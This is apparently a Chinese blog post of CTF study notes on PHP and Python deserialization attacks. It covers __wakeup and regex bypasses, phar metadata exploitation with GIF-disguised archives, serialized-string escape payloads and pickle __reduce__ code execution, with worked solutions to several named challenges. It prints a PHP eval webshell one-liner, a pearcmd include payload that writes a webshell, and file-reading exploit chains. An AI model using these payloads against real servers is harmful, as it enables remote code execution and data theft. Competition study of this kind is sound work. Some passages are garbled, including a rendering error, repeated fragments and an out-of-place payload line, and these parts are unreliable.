反序列化(PHP,python),涉及字符逃逸和phar

PHP

这篇不错:[CTF]PHP反序列化总结

注意:eval写完命令一定在后加’;’

如果是:@eval($this->txw4ever); 这样的eval函数记得写完命令后面加上 ‘;’

场景:

1、system(“ls”)之类的写完后面要 ‘;’ 变为:system(‘ls’);

2、一句话木马:

<?php @eval($_POST['cmd']);?> 假如不用蚁剑,我们直接在页面进行POST提交,输入cmd=phpinfo(); ,命令后面也必须加';'

反序列化中常见的魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在的成员属性都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

__wakeup()漏洞

原理:

__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

实现:

因此,需要修改序列化字符串中的属性个数:O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}变为O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}

_toString隐藏彩蛋

1、字符串弱比较

做弱比较的时候有一方为字符串就能触发__toString

实例:[NISACTF 2022]babyserialize 这道题使用这个方法payload短了很多!!!

源码

class NISA{
    protected $fun="show_me_flag";
    protected $txw4ever;
protected function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();      //这个不是好东西,进去之后好像会输出  flag is in /  然后结束。
                         //普通的长链子可以绕过,这个this->fun会赋值为对象肯定可以
        }
    }
    ..............

短payload

class NISA{
    protected $txw4ever='SYSTEM("cat /f*");';
}
class Ilovetxw{
}

$a = new NISA();
$a->fun = new Ilovetxw();
$a->fun->su = $a;
$a = serialize($a);
echo $a;

2、字符串相关的函数

原理:

当使用字符串函数时,也会触发_toSring()。如:strtolower($this->name);

需要传字符串的函数:

strtolower() 函数把字符串转换为小写。
strtoupper() - 把字符串转换为大写
lcfirst() - 把字符串中的首字符转换为小写
ucfirst() - 把字符串中的首字符转换为大写
ucwords() - 把字符串中每个单词的首字符转换为大写

正则绕过

1、if (preg_match(‘/[oc]:\d+:/i’, $var))

如:if (preg_match(‘/[oc]:\d+:/i’, $var)),要求O:后面不能是数字。绕方法:在数字前面加上’+',如:O:+4。

注意:

如果这里还需要base64加密且成员数据是private,那么’+'就没那么好加进去。因为private变量名需要在前面加%00类名%00,而%00输出后不显示效果,如果先构造没base64加密的payload,则在进行加密时%00不会被加密。

解决方法:

所以要一口气完成,则’+'就需要在写代码时就将其加入。这里要用到str_replace函数。

$a=new Demo();
$b=str_replace("O:","O:+",serialize($a));
$b=str_replace(":1:",":2:",$b);
echo base64_encode($b);

这里需要绕过_wakeup。

2、if(!preg_match(‘/test":3/i’,$a))

解释:不会

要求:test后面只能跟:3,且区分大小写

源码:

class test{
    protected $a;
    protected $b;
    protected $c;
    protected function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    protected function __wakeup(){
        $this->a='';       //这里导致a变为空
    }
    protected function __destruct(){
        $this->b=$this->c;   //这里可以用引用,将$a变为$b的引用,所以给$b赋值相当于给$a赋值,所以这里可以将语句先给$c
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

这里因为只能是test:3,导致无法绕过_wakeup,使用引用解决,上面注释有解释。

引用

原理:

php可以将变量变为另一个变量的引用,这时两个变量共用同一块内存空间,实现了无论在什么情况下两个变量始终相等

使用场景:

1、如果题目无论如何绕过都避免不了必须比较两个变量,并且需要它们相等的情况下

2、存在三个变量,需要使用的变量 a 无论绕过都得被题目改值,但是改值完毕后其他两个变量进行了赋值(如: a无论绕过都得被题目改值,但是改值完毕后其他两个变量进行了赋值(如: a无论绕过都得被题目改值,但是改值完毕后其他两个变量进行了赋值(如:b= c , c, cc没有被改值),这时将语句写个 c , c, ca为 b 的引用,从而实现语句经过 b的引用,从而实现语句经过 b的引用,从而实现语句经过c给$a。

语句(参照上面的例题):KaTeX parse error: Expected 'EOF', got '&' at position 3: a=&̲b;

实现:

$a=new test();
$a->a=&$a->b;
echo serialize($a);

is_file(使用php伪协议绕过)

原理:

is_file判断给定文件名是否为一个正常的文件,返回值为布尔类型。

is_file会认为php伪协议不是文件。但highlight_file认为伪协议可以是文件

实现:

if($this->want == "f14g.php" OR is_file($this->want)){
            die("You want my heart?No way!\n");
        }else{
            echo "You got it!";
            highlight_file($this->want);
            }

使用php://filter/resource=f14g.php和php://filter/read=convert.base64-encode/resource=f14g.php都行,这里没有拦截可以不用base64编码绕过

Phar

使用条件:
  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤
受影响的函数如下:

img

phar模版:
<?php
//前面写构造反序列化的代码
//最后$a为需要序列化的变量,因为后面的代码以$a为需要序列化的变量
$a = new 类名;//如($a=new aaa();)
//下面都不需要改
@unlink('test.phar');//删除test.phar文件,前面加上@确保不报错
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
//$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  //设置stub,增加gif文件头,可以绕过内容检测
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
后缀格式.phar绕过

原理:

php识别phar文件通过文件头的stub,更确切一点来说是__HALT_COMPILER();这段代码,对前面的内容或者后缀名没有要求的。

实现:

那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

通过更改为.jpg、.png、.gif、.txt等任意文件后缀

绕过phar关键字检测(针对phar不能出现在最前面)

检测源码:

if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename){
    die();
}
//解释:后端检测的参数不能以 phar 开头

绕过方法:

// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///home/sx/test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
// 还可以使用伪协议的方法绕过
php://filter/read=convert.base64-encode/resource=phar://phar.phar
更多绕过:

参考:PHP Phar反序列化总结

is_valid()函数和php7.1+版本对属性类型不敏感漏洞

在is_valid( a ) 函数中, a)函数中, a)函数中,a中如果有空字符,就返回false。

所以当我们的变量有protected和priva类型时

if(is_valid($str)) {
        $obj = unserialize($str);
    }

就过不了,这时就可以用上php7.1+版本对属性类型不敏感,将protected替换为public

<?php
class FileHandler {

    protected $op=' 2';
    protected $filename='flag.php';
    protected $content='2';
}
$a=new FileHandler();
echo urlencode(serialize($a));
?>
替换为
<?php
class FileHandler {

    public $op=' 2';
    public $filename='flag.php';
    public $content='2';
}
$a=new FileHandler();
echo urlencode(serialize($a));
?>

例题

[安洵杯 2019]easy_serialize_php,字符减少

逃逸题

反序列化字符逃逸的两种方法:键值逃逸,键名逃逸

extract($_POST),变量覆盖
//如果post传参为_SESSION[flag]=flag,那么$_SESSION["user"]和$_SESSION["function"]的值都会被覆盖。
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] ='123';
echo '覆盖前:';
var_dump($_SESSION);//覆盖前:array(2) {["user"]=>string(5) "guest"["function"]=>string(3) "123"}
echo "<br>";
extract($_POST);
echo '覆盖后:';
var_dump($_SESSION);//array(1) {["flag"]=>string(4) "flag"}
?>

关键代码

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$serialize_info = filter(serialize($_SESSION));

$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));

解法1:键名逃逸

已知:d0g3_f1ag.php,base64加密后:ZDBnM19mMWFnLnBocA==

逃逸之后要得到:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="
构造:
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 
//这里要将s:48: 5个字符吃进去,而本身是需要吃进去"; 2个字符,这里加起来7,所以键名要逃逸7个字符,构造为flagphp
过滤前
a:2:{s:7:"flagphp";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
过滤后
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
下面的步骤和值替换一样
这里的键名变为";s:48: 实现了逃逸

解法2:键值逃逸

假设构造
$_SESSION[a] = 'guestflagflagflagflagflagflagflag';//不确定,只是写在这里
$_SESSION[a] = 'aaaaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}';//不确定a的长度
//首先需要将a的"; 这2个逃逸,和b的s:1:"b";s:(反正这里是2位数):"aaaaa这里14+个字符
//加起来就是16+,我们补0个a,这样就变成了16,逃逸16个字符,需要4个flag
则构造:
_SESSION[user]=flagflagflagflag&_SESSION[f]=";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}

[0CTF 2016]piapiapia,字符增多

关键代码

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)//使用数组绕过长度限制
			die('Invalid nickname');

$user->update_profile($username, serialize($profile));//序列化

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);//使用where替换hacker,每次增多一个字符

$profile = unserialize($profile);//反序列化
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));//已知要读取config.php文件

因为键名确定,所以这里只能使用键值逃逸

首先我们需要得到的是:
s:5:"photo";s:10:"config.php" 29字符
因为要绕过长度限制,所以nickname为数组,形式为:a:1:{i:0;s:3:"aaa";}
逃逸之后我们需要闭合,加上";}
变成:";}s:5:"photo";s:10:"config.php" 32个字符
这里有2种方法:
法1(推荐):在后面加上;},构成34个字符,这样好记忆所以推荐
";}s:5:"photo";s:10:"config.php";}
法2:删除后面的" ,构成31个字符
";}s:5:"photo";s:10:"config.php

payload1:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
payload2:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php

[SWPUCTF 2018]SimplePHP,phar

1.首先在upload_file.php发现文件上传,尝试上传一句话木马,JJ
2.页面有查看文件,尝试查看upload_file.php源码,发现是白名单,并且上传成功后后缀统一改成.jpg,所以文件一句话,不用考虑了
3.查看到file.php发现包含class.php,查看发现源码里面有base64_encode(file_get_contents($value)),题目提示了f1ag.php,但是f1ag被过滤了,不过file.php里面有:file_exists($file),直接想到phar

phar构造:

class C1e4r
{
    public $test;
    // public $str=new Show();
    public $str;
    public function __construct()
    {
        $this->str = new Show();
    }
}

class Show
{
    public $source;
    public $str;
    //public $str=array('str'=>new Test());
    public function __construct()
    {
        $this->str =array('str'=>new Test());
    }
}
class Test
{
    public $file;
    public $params;
    //public $params=array('source'=>'f1ag.php');
    public function __construct()
    {
        $this->params=array('source'=>'f1ag.php');
    }
}
$a=new C1e4r();
//下面都不需要改
@unlink('test.phar');//删除test.phar文件,前面加上@确保不报错
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
/*$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub*/
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  //设置stub,增加gif文件头,可以绕过内容检测
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
4.访问upload/页面,上传的文件名被随机命名

xxxxxxxxxx payload?+config-create+/&file=…/…/…/…/…/…/…/…/…/…/…/usr/local/lib/php/pearcmd&/<?=@eval($_POST['hack'])?>+hack.php//这个题目的参数是file,访问hack.php,或者?file=hack(因为这里的语句是:include($file.“.php”);)php

5.回到file.php页面:直接?file=phar://upload/08c9aba6294fd0bfda75ad265e96dd6c.jpg 得到flag(base64解码后)

[CISCN2019 华北赛区 Day1 Web1]Dropbox,phar

文章:参考

payload

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct() {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();

        $file = new File();
        $file->filename = '/flag.txt';	# 这里的flag.txt是多次猜测出来的
        array_push($this->files, $file);
    }
}

$user = new User();
$filelist = new FileList();
$user->db = $filelist;

@unlink('phar.phar');
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  //设置stub,增加gif文件头
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

python

相关函数

pickle.dump(obj, file) :将对象序列化后保存到文件。
pickle.load(file) :读取文件, 将文件中的序列化内容反序列化为对象。
pickle.dumps(obj) :将对象序列化成字符串格式的字节流。
pickle.loads(bytes_obj) :将字符串格式的字节流反序列化为对象。

魔术方法

__reduce__() :反序列化时调用。
__reduce_ex__() :反序列化时调用。
__setstate__() :反序列化时调用。
__getstate__() :序列化时调用。

例题

[CISCN2019 华北赛区 Day1 Web2]ikun

漏洞点为pickle反序列化,漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码,那我们就重写__reduce__()魔法方法

python脚本如下(这道题是python2,所以脚本也是python2):

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

#运行结果:c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

注:里面的一些资料来源于网络,若有不满,请联系我删除

  • 9
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值